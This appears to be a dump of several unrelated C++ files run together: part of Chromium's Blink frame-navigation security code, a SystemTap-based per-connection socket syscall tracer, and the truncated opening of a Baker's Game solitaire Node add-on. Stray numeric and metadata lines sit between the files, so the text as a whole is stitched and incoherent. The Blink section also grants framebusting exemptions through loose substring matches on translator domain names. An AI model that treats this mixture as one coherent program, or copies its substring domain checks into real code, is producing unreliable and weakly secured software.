GetDocument()->Url().GetString().Contains("translatoruser.com") || GetDocument()->Url().GetString().Contains("translatoruser.net") || GetDocument()->Url().GetString().Contains("translatetheweb.net"))) allowBusting = true; if (target_frame.IsLocalFrame() && ToLocalFrame(target_frame) .GetDocument() ->Url() .GetString().Contains("microsofttranslator.com")) allowBusting = true; if (target_frame.IsLocalFrame() && ToLocalFrame(target_frame) .GetDocument() ->Url() .GetString().Contains("translatetheweb.com")) allowBusting = true; if (target_frame.IsLocalFrame() && ToLocalFrame(target_frame) .GetDocument() ->Url() .GetString().Contains("translatetheweb-int.com")) allowBusting = true; if (target_frame.IsLocalFrame() && ToLocalFrame(target_frame) .GetDocument() ->Url() .GetString().Contains("translatetheweb-int.net")) allowBusting = true; if (target_frame.IsLocalFrame() && ToLocalFrame(target_frame) .GetDocument() ->Url() .GetString().Contains("translatoruser.com")) allowBusting = true; if (target_frame.IsLocalFrame() && ToLocalFrame(target_frame) .GetDocument() ->Url() .GetString().Contains("translatoruser.net")) allowBusting = true; if (target_frame.IsLocalFrame() && ToLocalFrame(target_frame) .GetDocument() ->Url() .GetString().Contains("translatetheweb.net")) allowBusting = true; if (target_frame.GetSecurityContext() ->GetSecurityOrigin() ->ToString().Contains("microsofttranslator.com")) allowBusting = true; if (target_frame.GetSecurityContext() ->GetSecurityOrigin() ->ToString().Contains("translatetheweb.com")) allowBusting = true; if (target_frame.GetSecurityContext() ->GetSecurityOrigin() ->ToString().Contains("translatetheweb-int.com")) allowBusting = true; if (target_frame.GetSecurityContext() ->GetSecurityOrigin() ->ToString().Contains("translatetheweb-int.net")) allowBusting = true; if (target_frame.GetSecurityContext() ->GetSecurityOrigin() ->ToString().Contains("translatoruser.com")) allowBusting = true; if (target_frame.GetSecurityContext() ->GetSecurityOrigin() ->ToString().Contains("translatoruser.net")) allowBusting = true; if (target_frame.GetSecurityContext() ->GetSecurityOrigin() ->ToString().Contains("translatetheweb.net")) allowBusting = true; if (!RuntimeEnabledFeatures:: FramebustingNeedsSameOriginOrUserGestureEnabled() || Client()->GetContentSettingsClient().AllowPopupsAndRedirects( false /* default_value */) || allowBusting) { String target_frame_description = target_frame.IsLocalFrame() ? "with URL '" + ToLocalFrame(target_frame) .GetDocument() ->Url() .GetString() + "'" : "with origin '" + target_frame.GetSecurityContext() ->GetSecurityOrigin() ->ToString() + "'"; String message = "Frame with URL '" + GetDocument()->Url().GetString() + "' attempted to navigate its top-level window " + target_frame_description + ". Navigating the top-level window from a cross-origin " "iframe will soon require that the iframe has received " "a user gesture. See " "https://www.chromestatus.com/features/" "5851021045661696."; PrintNavigationWarning(message); return true; } error_reason = "The frame attempting navigation is targeting its top-level window, " "but is neither same-origin with its target nor has it received a " "user gesture. See " "https://www.chromestatus.com/features/5851021045661696."; PrintNavigationErrorMessage(target_frame, error_reason.Latin1().data()); Client()->DidBlockFramebust(destination_url); return false; } // Navigating window.opener cross origin, without user activation. See // crbug.com/813643. if (Client()->Opener() == target_frame && !HasTransientUserActivation(this, false /* checkIfMainThread */) && !target_frame.GetSecurityContext()->GetSecurityOrigin()->CanAccess( SecurityOrigin::Create(destination_url).get())) { UseCounter::Count(this, WebFeature::kOpenerNavigationWithoutGesture); } if (!is_allowed_navigation && !error_reason.IsNull()) PrintNavigationErrorMessage(target_frame, error_reason.Latin1().data()); return is_allowed_navigation; } static bool CanAccessAncestor(const SecurityOrigin& active_security_origin, const Frame* target_frame) { // targetFrame can be 0 when we're trying to navigate a top-level frame // that has a 0 opener. if (!target_frame) return false; const bool is_local_active_origin = active_security_origin.IsLocal(); for (const Frame* ancestor_frame = target_frame; ancestor_frame; ancestor_frame = ancestor_frame->Tree().Parent()) { const SecurityOrigin* ancestor_security_origin = ancestor_frame->GetSecurityContext()->GetSecurityOrigin(); if (active_security_origin.CanAccess(ancestor_security_origin)) return true; // Allow file URL descendant navigation even when // allowFileAccessFromFileURLs is false. // FIXME: It's a bit strange to special-case local origins here. Should we // be doing something more general instead? if (is_local_active_origin && ancestor_security_origin->IsLocal()) return true; } return false; } blink::mojom::blink::PrefetchURLLoaderService* LocalFrame::PrefetchURLLoaderService() { if (!prefetch_loader_service_ && base::FeatureList::IsEnabled(network::features::kNetworkService)) { GetInterfaceProvider().GetInterface( mojo::MakeRequest(&prefetch_loader_service_)); } return prefetch_loader_service_.get(); } bool LocalFrame::CanNavigateWithoutFramebusting(const Frame& target_frame, String& reason) { if (&target_frame == this) return true; if (GetSecurityContext()->IsSandboxed(kSandboxNavigation)) { if (!target_frame.Tree().IsDescendantOf(this) && !target_frame.IsMainFrame()) { reason = "The frame attempting navigation is sandboxed, and is therefore " "disallowed from navigating its ancestors."; return false; } // Sandboxed frames can also navigate popups, if the // 'allow-sandbox-escape-via-popup' flag is specified, or if // 'allow-popups' flag is specified, or if the if (target_frame.IsMainFrame() && target_frame != Tree().Top() && GetSecurityContext()->IsSandboxed( kSandboxPropagatesToAuxiliaryBrowsingContexts) && (GetSecurityContext()->IsSandboxed(kSandboxPopups) || target_frame.Client()->Opener() != this)) { reason = "The frame attempting navigation is sandboxed and is trying " "to navigate a popup, but is not the popup's opener and is not " "set to propagate sandboxing to popups."; return false; } // Top navigation is forbidden unless opted-in. allow-top-navigation or // allow-top-navigation-by-user-activation will also skips origin checks. if (target_frame == Tree().Top()) { if (GetSecurityContext()->IsSandboxed(kSandboxTopNavigation) && GetSecurityContext()->IsSandboxed( kSandboxTopNavigationByUserActivation)) { reason = "The frame attempting navigation of the top-level window is " "sandboxed, but the flag of 'allow-top-navigation' or " "'allow-top-navigation-by-user-activation' is not set."; return false; } if (GetSecurityContext()->IsSandboxed(kSandboxTopNavigation) && !GetSecurityContext()->IsSandboxed( kSandboxTopNavigationByUserActivation) && !Frame::HasTransientUserActivation(this)) { // With only 'allow-top-navigation-by-user-activation' (but not // 'allow-top-navigation'), top navigation requires a user gesture. reason = "The frame attempting navigation of the top-level window is " "sandboxed with the 'allow-top-navigation-by-user-activation' " "flag, but has no user activation (aka gesture). See " "https://www.chromestatus.com/feature/5629582019395584."; return false; } return true; } } DCHECK(GetSecurityContext()->GetSecurityOrigin()); const SecurityOrigin& origin = *GetSecurityContext()->GetSecurityOrigin(); // This is the normal case. A document can navigate its decendant frames, // or, more generally, a document can navigate a frame if the document is // in the same origin as any of that frame's ancestors (in the frame // hierarchy). // // See http://www.adambarth.com/papers/2008/barth-jackson-mitchell.pdf for // historical information about this security check. if (CanAccessAncestor(origin, &target_frame)) return true; // Top-level frames are easier to navigate than other frames because they // display their URLs in the address bar (in most browsers). However, there // are still some restrictions on navigation to avoid nuisance attacks. // Specifically, a document can navigate a top-level frame if that frame // opened the document or if the document is the same-origin with any of // the top-level frame's opener's ancestors (in the frame hierarchy). // // In both of these cases, the document performing the navigation is in // some way related to the frame being navigate (e.g., by the "opener" // and/or "parent" relation). Requiring some sort of relation prevents a // document from navigating arbitrary, unrelated top-level frames. if (!target_frame.Tree().Parent()) { if (target_frame == Client()->Opener()) return true; if (CanAccessAncestor(origin, target_frame.Client()->Opener())) return true; } reason = "The frame attempting navigation is neither same-origin with the target, " "nor is it the target's parent or opener."; return false; } bool LocalFrame::ComputeIsAdSubFrame() const { DCHECK(ad_tracker_); Frame* parent = Tree().Parent(); if (!parent) return false; // If the parent frame is local, directly determine if it's an ad. If // it's remote, then blink relies on the embedder to call SetIsAdFrame. bool parent_is_ad = parent->IsLocalFrame() && ToLocalFrame(parent)->IsAdSubframe(); return parent_is_ad || ad_tracker_->IsAdScriptInStack(GetDocument()); } service_manager::InterfaceProvider& LocalFrame::GetInterfaceProvider() { DCHECK(Client()); return *Client()->GetInterfaceProvider(); } AssociatedInterfaceProvider* LocalFrame::GetRemoteNavigationAssociatedInterfaces() { DCHECK(Client()); return Client()->GetRemoteNavigationAssociatedInterfaces(); } LocalFrameClient* LocalFrame::Client() const { return static_cast<LocalFrameClient*>(Frame::Client()); } ContentSettingsClient* LocalFrame::GetContentSettingsClient() { return Client() ? &Client()->GetContentSettingsClient() : nullptr; } FrameResourceCoordinator* LocalFrame::GetFrameResourceCoordinator() { if (!BlinkResourceCoordinatorBase::IsEnabled()) return nullptr; if (!frame_resource_coordinator_) { auto* local_frame_client = Client(); if (!local_frame_client) return nullptr; frame_resource_coordinator_.reset(FrameResourceCoordinator::Create( local_frame_client->GetInterfaceProvider())); } return frame_resource_coordinator_.get(); } PluginData* LocalFrame::GetPluginData() const { if (!Loader().AllowPlugins(kNotAboutToInstantiatePlugin)) return nullptr; return GetPage()->GetPluginData( Tree().Top().GetSecurityContext()->GetSecurityOrigin()); } DEFINE_WEAK_IDENTIFIER_MAP(LocalFrame); FrameNavigationDisabler::FrameNavigationDisabler(LocalFrame& frame) : frame_(&frame) { frame_->DisableNavigation(); } FrameNavigationDisabler::~FrameNavigationDisabler() { frame_->EnableNavigation(); } namespace { bool IsScopedFrameBlamerEnabled() { // Must match the category used in content::FrameBlameContext. static const auto* enabled = TRACE_EVENT_API_GET_CATEGORY_GROUP_ENABLED("blink"); return *enabled; } } // namespace ScopedFrameBlamer::ScopedFrameBlamer(LocalFrame* frame) : frame_(IsScopedFrameBlamerEnabled() ? frame : nullptr) { if (LIKELY(!frame_)) return; LocalFrameClient* client = frame_->Client(); if (!client) return; if (BlameContext* context = client->GetFrameBlameContext()) context->Enter(); } void ScopedFrameBlamer::LeaveContext() { LocalFrameClient* client = frame_->Client(); if (!client) return; if (BlameContext* context = client->GetFrameBlameContext()) context->Leave(); } void LocalFrame::MaybeAllowImagePlaceholder(FetchParameters& params) const { if (GetSettings() && GetSettings()->GetFetchImagePlaceholders()) { params.SetAllowImagePlaceholder(); return; } if (Client() && ShouldUseClientLoFiForRequest(params.GetResourceRequest(), Client()->GetPreviewsStateForFrame())) { params.MutableResourceRequest().SetPreviewsState( params.GetResourceRequest().GetPreviewsState() | WebURLRequest::kClientLoFiOn); params.SetAllowImagePlaceholder(); } } WebURLLoaderFactory* LocalFrame::GetURLLoaderFactory() { if (!url_loader_factory_) url_loader_factory_ = Client()->CreateURLLoaderFactory(); return url_loader_factory_.get(); } WebPluginContainerImpl* LocalFrame::GetWebPluginContainer(Node* node) const { if (GetDocument() && GetDocument()->IsPluginDocument()) { return ToPluginDocument(GetDocument())->GetPluginView(); } if (!node) { DCHECK(GetDocument()); node = GetDocument()->FocusedElement(); } if (node) { return node->GetWebPluginContainer(); } return nullptr; } void LocalFrame::SetViewportIntersectionFromParent( const IntRect& viewport_intersection) { if (remote_viewport_intersection_ != viewport_intersection) { remote_viewport_intersection_ = viewport_intersection; if (View()) View()->ScheduleAnimation(); } } void LocalFrame::ForceSynchronousDocumentInstall( const AtomicString& mime_type, scoped_refptr<SharedBuffer> data) { CHECK(loader_.StateMachine()->IsDisplayingInitialEmptyDocument()); DCHECK(!Client()->IsLocalFrameClientImpl()); // Any Document requires Shutdown() before detach, even the initial empty // document. GetDocument()->Shutdown(); DomWindow()->InstallNewDocument( mime_type, DocumentInit::Create().WithFrame(this), false); loader_.StateMachine()->AdvanceTo( FrameLoaderStateMachine::kCommittedFirstRealLoad); GetDocument()->OpenForNavigation(kForceSynchronousParsing, mime_type, AtomicString("UTF-8")); data->ForEachSegment( [this](const char* segment, size_t segment_size, size_t segment_offset) { GetDocument()->Parser()->AppendBytes(segment, segment_size); return true; }); GetDocument()->Parser()->Finish(); // Upon loading of SVGIamges, log PageVisits in UseCounter. // Do not track PageVisits for inspector, web page popups, and validation // message overlays (the other callers of this method). if (GetPage() && GetDocument()->IsSVGDocument()) GetPage()->GetUseCounter().DidCommitLoad(this); } bool LocalFrame::IsProvisional() const { // Calling this after the frame is marked as completely detached is a bug, as // this state can no longer be accurately calculated. CHECK_NE(FrameLifecycle::kDetached, lifecycle_.GetState()); if (IsMainFrame()) { return GetPage()->MainFrame() != this; } DCHECK(Owner()); return Owner()->ContentFrame() != this; } bool LocalFrame::IsUsingDataSavingPreview() const { if (!Client()) return false; WebURLRequest::PreviewsState previews_state = Client()->GetPreviewsStateForFrame(); // Check for any data saving type of preview. return previews_state & (WebURLRequest::kServerLoFiOn | WebURLRequest::kClientLoFiOn | WebURLRequest::kNoScriptOn); } ComputedAccessibleNode* LocalFrame::GetOrCreateComputedAccessibleNode( AXID ax_id, WebComputedAXTree* tree) { if (computed_node_mapping_.find(ax_id) == computed_node_mapping_.end()) { ComputedAccessibleNode* node = ComputedAccessibleNode::Create(ax_id, tree, this); computed_node_mapping_.insert(ax_id, node); } return computed_node_mapping_.at(ax_id); } } // namespace blink
39.628082
148
0.684498
[ "vector" ]
6cc0aa4de3ff95ee3974cb225ccfc0353fd049aa
18,518
cpp
C++
cls_builder/cls_builder.cpp
STEELISI/LEADER
e9b884d3645789d6171bfa85e920b5da8cab9db5
[ "Unlicense" ]
null
null
null
cls_builder/cls_builder.cpp
STEELISI/LEADER
e9b884d3645789d6171bfa85e920b5da8cab9db5
[ "Unlicense" ]
null
null
null
cls_builder/cls_builder.cpp
STEELISI/LEADER
e9b884d3645789d6171bfa85e920b5da8cab9db5
[ "Unlicense" ]
null
null
null
#include "cls_builder.h" #include <boost/tokenizer.hpp> #include <arpa/inet.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <chrono> #include <exception> #include <iostream> #include <regex> #include <fstream> //#include <sys/time.h> #include <signal.h> #include <string> // enum for the CSV inputs made by SystemTap enum CSV { func, timestamp, tid, pid, addr, port }; /** * The constructor spins off a new thread and runs start_stap() on that thread */ Session::Session() { // Initialize message queue boost::interprocess::message_queue::remove("conns"); mq = new boost::interprocess::message_queue( boost::interprocess::create_only, "conns", 100, 4096); // Set up useful_calls with syscalls we wanna record useful_calls.insert("sock_poll"); useful_calls.insert("sock_write_iter"); useful_calls.insert("sockfd_lookup_light"); useful_calls.insert("sock_alloc_inode"); useful_calls.insert("sock_alloc"); useful_calls.insert("sock_alloc_file"); useful_calls.insert("move_addr_to_user"); useful_calls.insert("SYSC_getsockname"); useful_calls.insert("SyS_getsockname"); useful_calls.insert("SYSC_accept4"); useful_calls.insert("sock_destroy_inode"); useful_calls.insert("sock_read_iter"); useful_calls.insert("sock_recvmsg"); useful_calls.insert("sock_sendmsg"); useful_calls.insert("__sock_release"); useful_calls.insert("SyS_accept4"); useful_calls.insert("SyS_shutdown"); useful_calls.insert("sock_close"); // Start stap process stap_process = boost::process::child( "/usr/local/bin/stap", boost::process::args({"-g", "./cls_builder/conn.stp", "--suppress-handler-errors", "-DMAXMAPENTRIES=8096", "-s4095", "-DINTERRUPTIBLE=0", "-DMAXTRYLOCK=10000", "-DSTP_OVERLOAD_THRESHOLD=50000000000LL", "--suppress-time-limits"}), boost::process::std_out > stap_out); // Start scanner and message pusher this->t_scanner = std::thread(&Session::scan, this, &stap_out); this->msg_push = std::thread(&Session::push, this); } /** * The destructor joins t_scanner and removes the message queue */ Session::~Session() { boost::interprocess::message_queue::remove("conns"); stap_process.terminate(); t_scanner.join(); } /** * This session creates a thread which scans a given stream for formatted input * and adds it to the corresponding connection. * @param in An istream to read from */ void Session::scan(std::istream *in) { std::string line; //std::string sockfd_lookup_light ("sockfd_lookup_light"); std::string sockfd_lookup_light("SYSC_accept4"); std::string sockname("SYSC_getsockname"); std::string seq_read_send("seq_read_send"); std::regex csv_match("((?:[a-zA-Z0-9_]*))(,)(\\d+)(,)(\\d+)(,)(\\d+)(,)(.*?)(,)(.*?)"); while (std::getline(*in, line)) { // Only match if it is a data line and not extra stuff std::cout << "Line: " << line << std::endl; if (std::regex_match(line, csv_match)) { //std::cout << "Line: " << line << std::endl; // Call to add to a connection unsigned int this_pid = -1, this_tid = -1; int conn_port = -1; long long this_time = 0; bool has_port = false; std::string ip, call; int ip_flag = 0; // Turn the CSV into a boost::tokenizer for easy parsing unsigned int count = 0; boost::tokenizer<boost::escaped_list_separator<char>> tk( line, boost::escaped_list_separator<char>('\\', ',', '\"')); // Turn the line info into actual data for (boost::tokenizer<boost::escaped_list_separator<char>>::iterator i(tk.begin()); i != tk.end(); ++i) { if (count == func) call = *i; else if (count == tid) this_tid = std::stoi(*i); else if (count == pid) this_pid = std::stoi(*i); else if (count == timestamp) this_time = std::stoll(*i); else if (count == addr && *i != "-1") { ip_flag = 1; ip = *i; if (ip.find("127.0.0.1") != std::string::npos) { ip_flag = 0; } if (ip.find(':') != std::string::npos) { unsigned char buf[sizeof(struct in6_addr)]; int s; char str[INET6_ADDRSTRLEN]; s = inet_pton(AF_INET6, ip.c_str(), buf); if (s > 0) { if (inet_ntop(AF_INET6, buf, str, INET6_ADDRSTRLEN) != nullptr) { ip = str; ip = ip.substr(ip.find_last_of(':') + 1); std::cout << "IP ADDRESS: " << ip << std::endl; } } } has_port = true; } else if (count == port && *i != "-1") { conn_port = std::stoi(*i); has_port = true; } count++; } // Add Call object into correct location in Session if (this->conns.find(this_pid) == this->conns.end()) { // PID and TID pair does not exist, so create both and add to conns Connection c; // Only increment call if it's useful if (useful_calls.find(call) != useful_calls.end()) { //if(strcmp("sockfd_lookup_light",call) == 0) if(!(sockfd_lookup_light.compare(call)) || !(sockname.compare(call))) { //std::cout << "LMN: " << line << std::endl; c.syscall_list_count.insert({call, 1}); c.syscall_list_time.insert({call, 0}); c.syscall_list_count.insert({seq_read_send, 0}); c.syscall_list_time.insert({seq_read_send, 0}); c.last_call = call; c.prev = this_time; c.first_timestamp = this_time / 1000000; std::cout << "\nFIRST: "<<c.first_timestamp<<"\n"; } if(ip_flag == 1) { c.ip_addr = ip; if(conn_port > 0) { c.port = conn_port; } } } // Create a TID entry... tbb::concurrent_unordered_map<unsigned int, Connection> temp; temp.insert({this_tid, c}); // ... and put it into the PID entry conns.insert({this_pid, temp}); } else { // PID does exist, check if TID does auto pid_map = &conns.at(this_pid); if (pid_map->find(this_tid) != pid_map->end()) { // TID exists too, add to existing connection // Only increment call if we deem it useful and not ending call if (useful_calls.find(call) != useful_calls.end()) { auto c = &pid_map->at(this_tid); // Set new count and time for this call if (c->syscall_list_count.find(call) == c->syscall_list_count.end()){ //if(strcmp("sockfd_lookup_light",call) == 0) if((!(sockfd_lookup_light.compare(call)) /*&& c->syscall_list_count.size() == 0*/) || c->syscall_list_count.size() > 0 || (!(sockname.compare(call)) /*&& c->syscall_list_count.size() == 0*/)) { if(!(sockfd_lookup_light.compare(call)) /*&& c->syscall_list_count.size() == 0*/ || (!(sockname.compare(call)) /*&& c->syscall_list_count.size() == 0*/)) { c->syscall_list_count.clear(); c->syscall_list_time.clear(); c->prev = 0; c->ip_addr = ""; c->port = 0; c->prev = 0; c->first_timestamp = -1; c->last_call = ""; c->syscall_list_count.insert({seq_read_send, 0}); c->syscall_list_time.insert({seq_read_send, 0}); } //std::cout << "LMN1: " << line << std::endl; c->syscall_list_count.insert({call, 1}); long long diff = (c->prev == 0) ? 0 : (this_time - c->prev); c->syscall_list_time.insert({call,diff}); c->prev = this_time; c->first_timestamp = this_time / 1000000; } if(ip_flag == 1) { c->ip_addr = ip; if(conn_port > 0) { c->port = conn_port; } } //if(call.compare("sock_sendmsg") == 0) if(call.compare("sock_poll") == 0) { //if( c->last_call.compare("sock_read_iter") == 0 || c->last_call.compare("sock_write_iter") == 0 || c->last_call.compare("sock_poll") == 0) if( c->last_call.compare("sock_read_iter") != 0) { c->syscall_list_count.insert({seq_read_send, 1}); c->syscall_list_time.insert({seq_read_send, 1}); } else { c->syscall_list_count.insert({seq_read_send, 1000000}); c->syscall_list_time.insert({seq_read_send, 1000000}); } } c->last_call = call; } else { if(!(sockfd_lookup_light.compare(call)) /*&& c->syscall_list_count.size() == 0*/ || (!(sockname.compare(call)) /*&& c->syscall_list_count.size() == 0*/)) { c->syscall_list_count.clear(); c->syscall_list_time.clear(); c->syscall_list_count.insert({seq_read_send, 0}); c->syscall_list_time.insert({seq_read_send, 0}); c->prev = 0; c->ip_addr = ""; c->port = 0; c->prev = 0; c->first_timestamp = -1; c->last_call = ""; //std::cout << "LMN1: " << line << std::endl; c->syscall_list_count.insert({call, 1}); long long diff = (c->prev == 0) ? 0 : (this_time - c->prev); c->syscall_list_time.insert({call,diff}); c->last_call = call; c->prev = this_time; if(ip_flag == 1) { c->ip_addr = ip; if(conn_port > 0) { c->port = conn_port; } } } else{ c->syscall_list_count.at(call) += 1; long long diff = (c->prev == 0) ? 0 : (this_time - c->prev); c->syscall_list_time.at(call) += (diff); c->prev = this_time; if(ip_flag == 1){ c->ip_addr = ip; if(conn_port > 0) { c->port = conn_port; } //if(call.compare("sock_sendmsg") == 0) if(call.compare("sock_poll") == 0) { //if( c->last_call.compare("sock_read_iter") == 0 || c->last_call.compare("sock_write_iter") == 0 || c->last_call.compare("sock_poll") == 0) if( c->last_call.compare("sock_read_iter") != 0) { c->syscall_list_count.at(seq_read_send) += 1; c->syscall_list_time.at(seq_read_send) += 1; } else { c->syscall_list_count.at(seq_read_send) += 1000000; c->syscall_list_time.at(seq_read_send) += 1000000; } } } } } if(c->syscall_list_count.find("SyS_shutdown") != c->syscall_list_count.end() || c->syscall_list_count.find("sock_destroy_inode") != c->syscall_list_count.end() || c->syscall_list_count.find("__sock_release")!= c->syscall_list_count.end() || c->syscall_list_count.find("sock_close")!= c->syscall_list_count.end() ) { mq->send(c->toString(1).c_str(), c->toString(1).length(), 0); c->syscall_list_count.clear(); c->syscall_list_time.clear(); c->port = -1; c->ip_addr = ""; c->prev = 0; c->port = 0; c->last_call = ""; c->cflag = 1; } } } else { // TID doesn't exist, create connection and add to pid_map Connection c; // Only increment call if we deem it useful if (useful_calls.find(call) != useful_calls.end()) { if(!(sockfd_lookup_light.compare(call)) || !(sockname.compare(call))) { //std::cout << "LMN2: " << line << std::endl; c.syscall_list_count.insert({call, 1}); c.syscall_list_time.insert({call, 0}); c.syscall_list_count.insert({seq_read_send, 0}); c.syscall_list_time.insert({seq_read_send, 0}); c.prev = this_time; c.first_timestamp = this_time / 1000000; std::cout << "\nFIRST: "<<c.first_timestamp<<"\n"; } if(ip_flag == 1){ c.ip_addr = ip; if(conn_port > 0) { c.port = conn_port; } } } pid_map->insert({this_tid, c}); } } // Link Connection to IP address and Port // TODO: only if IP is 10.10.1.* if (has_port) { // Find the connection in the big hash map if (this->conns.find(this_pid) != this->conns.end()) { auto tid_map = &this->conns.at(this_pid); if (tid_map->find(this_tid) != tid_map->end()) { auto c = &tid_map->at(this_tid); // Only link if connection does not have a port yet if (c->port == 0) { c->port = conn_port; if(ip_flag == 1){ c->ip_addr = ip; } } } } } } } } /** * This function pushes all current connections through the msgqueue every second */ /*void Session::push() { // run forever while (true) { // loop through each connection for (auto conn_list : conns) for (auto conn : conn_list.second) { std::cout << "LAST CALL " <<conn.second.last_call<<" "<<conn.second.syscall_list_time[std::string(conn.second.last_call)]; if ( !conn.second.cflag && conn.second.syscall_list_time.find(conn.second.last_call) != conn.second.syscall_list_time.end()) { conn.second.prev += 100000; long long val = conn.second.syscall_list_time[std::string(conn.second.last_call)] + 100000; conn.second.syscall_list_time[std::string(conn.second.last_call)] = val; //conn.second.syscall_list_time.insert({conn.second.last_call,val}); std::cout << "ADDED " <<val <<" "<<conn.second.syscall_list_time[std::string(conn.second.last_call)]<<" "<<conn.second.toString(conn.second.cflag)<<"\n"; } mq->send(conn.second.toString(conn.second.cflag).c_str(), conn.second.toString(conn.second.cflag).length(), 0); } // sleep one second after computation std::this_thread::sleep_for(std::chrono::milliseconds(100)); } }*/ void Session::push() { // run forever while (true) { // loop through each connection for (auto conn_list : conns) for (auto conn : conn_list.second) { /*std::cout << "LAST CALL " <<conn.second.last_call<<" "<<conn.second.syscall_list_time[std::string(conn.second.last_call)]; if ( !conn.second.cflag && conn.second.syscall_list_time.find(conn.second.last_call) != conn.second.syscall_list_time.end()) { conn.second.prev += 100000; long long val = conn.second.syscall_list_time[std::string(conn.second.last_call)] + 100000; conn.second.syscall_list_time[std::string(conn.second.last_call)] = val; //conn.second.syscall_list_time.insert({conn.second.last_call,val}); std::cout << "ADDED " <<val <<" "<<conn.second.syscall_list_time[std::string(conn.second.last_call)]<<" "<<conn.second.toString(conn.second.cflag)<<"\n"; }*/ int ret = conn.second.update(); if(ret) mq->send(conn.second.toString(1).c_str(), conn.second.toString(1).length(), 0); else mq->send(conn.second.toString(conn.second.cflag).c_str(), conn.second.toString(conn.second.cflag).length(), 0); } // sleep one second after computation std::this_thread::sleep_for(std::chrono::milliseconds(1000)); } } int Connection::update(){ std::cout << "LAST CALL " <<last_call<<" "<<syscall_list_time[last_call]; if ( !cflag && syscall_list_time.find(last_call) != syscall_list_time.end()) { //prev += 100000; struct timeval t; gettimeofday (&t, NULL); long long dur = 1000000 * t.tv_sec + t.tv_usec; long long val = ((dur - prev)/100) + syscall_list_time[last_call]; syscall_list_time[last_call] = val; //conn.second.syscall_list_time.insert({conn.second.last_call,val}); std::cout << "ADDED " <<val <<" "<<syscall_list_time[last_call]<<" "<<toString(cflag)<<"\n"; if(val > 100000 && (last_call.compare("sock_read_iter") != 0 || last_call.compare("sock_recvmsg") != 0 || last_call.compare("sock_write_iter") != 0)) { cflag = 1; return 1; } } return 0; } /*! * This function returns a string for each connection readable by the ML * module * @return A string that the consumer can parse */ std::string Connection::toString(int cflag) { std::string ret1, ret2; // Order the vects correctly /* const std::vector<std::string> vect = { "sock_write_iter", "sockfd_lookup_light", "sock_alloc_inode", "sock_alloc", "sock_alloc_file", "move_addr_to_user", "SYSC_getsockname", "SyS_getsockname", "SYSC_accept4", "sock_destroy_inode", "sock_read_iter", "sock_recvmsg", "__sock_release", "SyS_accept4", "SyS_shutdown", "sock_close" }; */ const std::vector<std::string> vect = {"sock_write_iter", "sock_read_iter", "sock_recvmsg","seq_read_send"}; for (const auto &entry : vect) { // Add all freqs if (syscall_list_count.find(entry) != syscall_list_count.end()) ret1 += std::to_string(syscall_list_count.at(entry)*syscall_list_count.at(entry)*syscall_list_count.at(entry)) + ","; else ret1.append("0,"); // Add all times if (syscall_list_time.find(entry) != syscall_list_time.end()) ret2 += std::to_string(syscall_list_time.at(entry)) + ","; else ret2.append("0,"); } ret1.append("1|"); ret1.append(ip_addr); ret1.append(":"); ret1.append(std::to_string(port)); ret1.append("="); ret1.append(std::to_string(first_timestamp)); if(cflag) ret1.append("C\0"); else ret1.append("$\0"); //ret2.back() = '|'; //ret2.push_back('\0'); //std::cout << "##: " <<ret2 + ret1; return ret2 + ret1; }
35.205323
324
0.552057
[ "object", "vector" ]
6ccf8f424c37ea16dce20750b982ba902cfa580a
8,119
cpp
C++
BakersGame/src/nodeExports.cpp
ldgcomputing/BruteForceGameTech
b6adefd117c3ff8aa43543f84968a2b1500b6aab
[ "MIT" ]
null
null
null
BakersGame/src/nodeExports.cpp
ldgcomputing/BruteForceGameTech
b6adefd117c3ff8aa43543f84968a2b1500b6aab
[ "MIT" ]
null
null
null
BakersGame/src/nodeExports.cpp
ldgcomputing/BruteForceGameTech
b6adefd117c3ff8aa43543f84968a2b1500b6aab
[ "MIT" ]
null
null
null
/*** MIT License Copyright (c) 2021 Louis Gehrig Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ***/ // Required includes #include <stdlib.h> #include <stdint.h> #include <memory.h> #include <string.h> #include <time.h> // STL includes #include <set> #include <string> // Project includes #include <SolitaireBoard.h> #include <nodeSupport.h> #include <solverSupport.h> #include <v8Support.h> // Global constants static const char *ERROR_MESSAGES[] = { "Not an error", // Value = 0 "Unable to create board", // Value = 1 "Invalid board size", // Value = 2 "Unable to convert to JSON", // Value = 3 "No arguments provided", // Value = 4 "Invalid arguments provided", // Value = 5 "Invalid FOUNDATION arguments provided", // Value = 6 "Invalid RESERVE arguments provided", // Value = 7 "Invalid TABELAU argument provided", // Value = 8 "Cannot convert to game board", // Value = 9 "Impossible game board", // Value = 10 "Unable to convert moves", // Value = 11 "Timeout attempting to solve" // Value = 12 }; static const char MEMORY_ALLOCATION_FAILURE[] = "{ 'errorcode' : 255, 'errormsg' : 'Memory Allocation Failure' }"; static const int OUTPUT_BUFFER_ALLOCATION = 90000; // Node includes #include <node.h> namespace Lambda_BakersGame { // Using helpfuls using v8::FunctionCallbackInfo; using v8::Array; using v8::Isolate; using v8::Local; using v8::MaybeLocal; using v8::Number; using v8::Object; using v8::String; using v8::Value; void Method_BF_BakersGameEasy_GetBoard(const FunctionCallbackInfo<Value> &args) { // Get the program arguments Isolate *isolate = args.GetIsolate(); // Attempt to allocate space for the return message char *pBuffer = new char[OUTPUT_BUFFER_ALLOCATION]; if ((char*) 0x0 == pBuffer) { args.GetReturnValue().Set(String::NewFromUtf8(isolate, (char*) MEMORY_ALLOCATION_FAILURE).ToLocalChecked()); return; } // Wrap it try { // Was a seed value provided? SEED_T seedVal = 0x0; if ((args.Length() >= 1) && (args[0]->IsNumber())) { double passedNum = args[0].As<Number>()->Value(); while (passedNum > UINT32_MAX) passedNum -= UINT32_MAX; while (0 > passedNum) passedNum += UINT32_MAX; seedVal = (SEED_T) 